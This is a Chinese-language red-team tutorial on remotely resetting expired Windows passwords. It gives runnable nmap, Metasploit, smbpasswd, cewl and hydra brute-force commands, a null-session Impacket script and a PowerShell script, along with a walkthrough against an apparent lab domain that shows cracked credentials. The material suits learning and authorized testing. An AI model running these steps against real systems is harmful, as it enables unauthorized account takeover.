红队技巧-远程重置过期密码
字数 1465 2025-08-09 13:33:49

远程重置过期密码的红队技巧详解

前言

在红队行动中,经常会遇到获取了有效凭据但密码已过期的情况。本文详细介绍了多种远程重置过期密码的方法,涵盖了不同场景下的技术实现。

RDP远程桌面协议方法

前提条件

  • 目标系统需要启用RDP且不强制使用网络级身份验证(NLA)

识别方法

  1. Nessus扫描

    • 在扫描结果中查找:"终端服务不仅使用网络级身份验证(NLA)"
  2. Nmap扫描

    nmap x.x.x.x -p 3389 --script rdp-enum-encryption
    
    • 关注输出中的"SSL: SUCCESS"字段
  3. Metasploit模块

    use auxiliary/scanner/rdp/rdp_scanner
    set RHOSTS x.x.x.x
    run
    

实际操作

使用rdesktop连接:

rdesktop x.x.x.x
  • 连接时不需要指定用户名或密码
  • 需要信任证书(键入yes)
  • 连接后可重置密码或返回其他命令行工具

SMB密码重置方法

smbpasswd工具

前提条件

  • 需要匿名访问IPC$共享
  • 默认情况下,任何人都可以通过IPC$匿名连接

执行命令

smbpasswd -r 10.0.0.15 -U 'expired'
  • -r: 远程主机IP
  • -U: 用户名

工作原理

  1. 首先尝试使用该帐户进行身份验证
  2. 获取"密码已过期"消息
  3. 匿名连接到IPC$共享
  4. 在IPC$共享中执行密码重置

限制

  • 如果IPC$不可访问(如限于NULL会话),此方法将失效

ChangePwd工具

特点

  • 需要访问IPC$共享
  • 不需要管理员权限
  • 如果IPC\(不执行匿名连接,会使用当前登录的用户连接到IPC\)

Impacket的smbpasswd

特点

  • 需要访问IPC$共享
  • 非交互式实现
  • 不需要知道原始明文密码,有散列值即可

下载地址

https://github.com/snovvcrash/impacket/blob/smbpasswd/examples/smbpasswd.py

问题记录

https://snovvcrash.rocks/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html

实战案例

环境准备

  1. 目标域:fabricorp.local
  2. 获取的用户名:pmerton、tlavel、sthompson、bhult

操作步骤

  1. 生成密码字典

    cewl -d 5 -m 3 -w wordlist.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers
    
  2. 暴力破解

    hydra -L user.txt -P wordlist.txt http://fuse.fabricorp.local smb
    

    获取到凭证:

    • tlavel:Fabricorp01
    • bhult:Fabricorp01
  3. 尝试登录SMB共享

    smbclient -L 10.10.10.193 -U tlavel
    

    遇到错误:NT_STATUS_PASSWORD_MUST_CHANGE

  4. 使用smbpasswd重置密码

    smbpasswd -r 10.10.10.193 -U tlavel
    
    • 使用旧密码
    • 新密码需满足复杂度要求

替代方案:Python脚本

#!/usr/bin/python3
from argparse import ArgumentParser
from impacket.dcerpc.v5 import transport, samr

def connect(host_name_or_ip):
    rpctransport = transport.SMBTransport(host_name_or_ip, filename=r'\samr')
    if hasattr(rpctransport, 'set_credentials'):
        rpctransport.set_credentials(username='', password='', domain='', lmhash='', nthash='', aesKey='') # null session
    dce = rpctransport.get_dce_rpc()
    dce.connect()
    dce.bind(samr.MSRPC_UUID_SAMR)
    return dce

def hSamrUnicodeChangePasswordUser2(username, oldpass, newpass, target):
    dce = connect(target)
    resp = samr.hSamrUnicodeChangePasswordUser2(dce, '\x00', username, oldpass, newpass)
    resp.dump()

parser = ArgumentParser()
parser.add_argument('username', help='username to change password for')
parser.add_argument('oldpass', help='old password')
parser.add_argument('newpass', help='new password')
parser.add_argument('target', help='hostname or IP')
args = parser.parse_args()

hSamrUnicodeChangePasswordUser2(args.username, args.oldpass, args.newpass, args.target)

执行命令:

python3 setsmbpasswd.py tlavel Fabricorp01 'Aaaa001!' 10.10.10.193

其他方法

SetADAccountPwd

  • 要求

    • Windows系统
    • 安装RSAT工具
    • 管理员权限
  • 参考
    https://docs.microsoft.com/en-us/powershell/module/activedirectory/set-adaccountpassword?view=windowsserver2019-ps

PowerShell脚本

function Set-PasswordRemotely {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$true)][string]$UserName,
        [Parameter(Mandatory=$true)][string]$OldPassword,
        [Parameter(Mandatory=$true)][string]$NewPassword,
        [Parameter(Mandatory=$true)][alias('DC','Server','ComputerName')][string]$DomainController
    )
    
    $DllImport = @'
[DllImport("netapi32.dll", CharSet = CharSet.Unicode)]
public static extern bool NetUserChangePassword(string domain, string username, string oldpassword, string newpassword);
'@
    
    $NetApi32 = Add-Type -MemberDefinition $DllImport -Name 'NetApi32' -Namespace 'Win32' -PassThru
    
    if($result = $NetApi32::NetUserChangePassword($DomainController, $UserName, $OldPassword, $NewPassword)) {
        Write-Output -InputObject 'Password change failed. Please try again.'
    } else {
        Write-Output -InputObject 'Password change succeeded.'
    }
}

Rubeus工具

  • 要求

    • Windows环境/需要绕过AV
    • 当拥有用户或其哈希的票证时,不需要明文密码
  • 原理

    1. 使用旧密码获取票证
    2. 使用票证更改密码
  • 参考
    http://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/

总结建议

  1. 在实战中,建议收集外网的登录接口,很可能其中一个系统的登录接口就能重置过期密码
  2. 不同方法适用于不同场景,需要根据目标环境选择合适的技术
  3. 密码重置后,新密码需满足目标系统的密码策略要求
  4. 保持工具和脚本的更新,以应对系统安全策略的变化
远程重置过期密码的红队技巧详解 前言 在红队行动中,经常会遇到获取了有效凭据但密码已过期的情况。本文详细介绍了多种远程重置过期密码的方法,涵盖了不同场景下的技术实现。 RDP远程桌面协议方法 前提条件 目标系统需要启用RDP且 不强制 使用网络级身份验证(NLA) 识别方法 Nessus扫描 : 在扫描结果中查找:"终端服务不仅使用网络级身份验证(NLA)" Nmap扫描 : 关注输出中的"SSL: SUCCESS"字段 Metasploit模块 : 实际操作 使用rdesktop连接: 连接时不需要指定用户名或密码 需要信任证书(键入yes) 连接后可重置密码或返回其他命令行工具 SMB密码重置方法 smbpasswd工具 前提条件 需要匿名访问IPC$共享 默认情况下,任何人都可以通过IPC$匿名连接 执行命令 -r : 远程主机IP -U : 用户名 工作原理 首先尝试使用该帐户进行身份验证 获取"密码已过期"消息 匿名连接到IPC$共享 在IPC$共享中执行密码重置 限制 如果IPC$不可访问(如限于NULL会话),此方法将失效 ChangePwd工具 特点 需要访问IPC$共享 不需要管理员权限 如果IPC$不执行匿名连接,会使用当前登录的用户连接到IPC$ Impacket的smbpasswd 特点 需要访问IPC$共享 非交互式实现 不需要知道原始明文密码,有散列值即可 下载地址 https://github.com/snovvcrash/impacket/blob/smbpasswd/examples/smbpasswd.py 问题记录 https://snovvcrash.rocks/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html 实战案例 环境准备 目标域:fabricorp.local 获取的用户名:pmerton、tlavel、sthompson、bhult 操作步骤 生成密码字典 : 暴力破解 : 获取到凭证: tlavel:Fabricorp01 bhult:Fabricorp01 尝试登录SMB共享 : 遇到错误:NT_ STATUS_ PASSWORD_ MUST_ CHANGE 使用smbpasswd重置密码 : 使用旧密码 新密码需满足复杂度要求 替代方案:Python脚本 执行命令: 其他方法 SetADAccountPwd 要求 : Windows系统 安装RSAT工具 管理员权限 参考 : https://docs.microsoft.com/en-us/powershell/module/activedirectory/set-adaccountpassword?view=windowsserver2019-ps PowerShell脚本 Rubeus工具 要求 : Windows环境/需要绕过AV 当拥有用户或其哈希的票证时,不需要明文密码 原理 : 使用旧密码获取票证 使用票证更改密码 参考 : http://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/ 总结建议 在实战中,建议收集外网的登录接口,很可能其中一个系统的登录接口就能重置过期密码 不同方法适用于不同场景,需要根据目标环境选择合适的技术 密码重置后,新密码需满足目标系统的密码策略要求 保持工具和脚本的更新,以应对系统安全策略的变化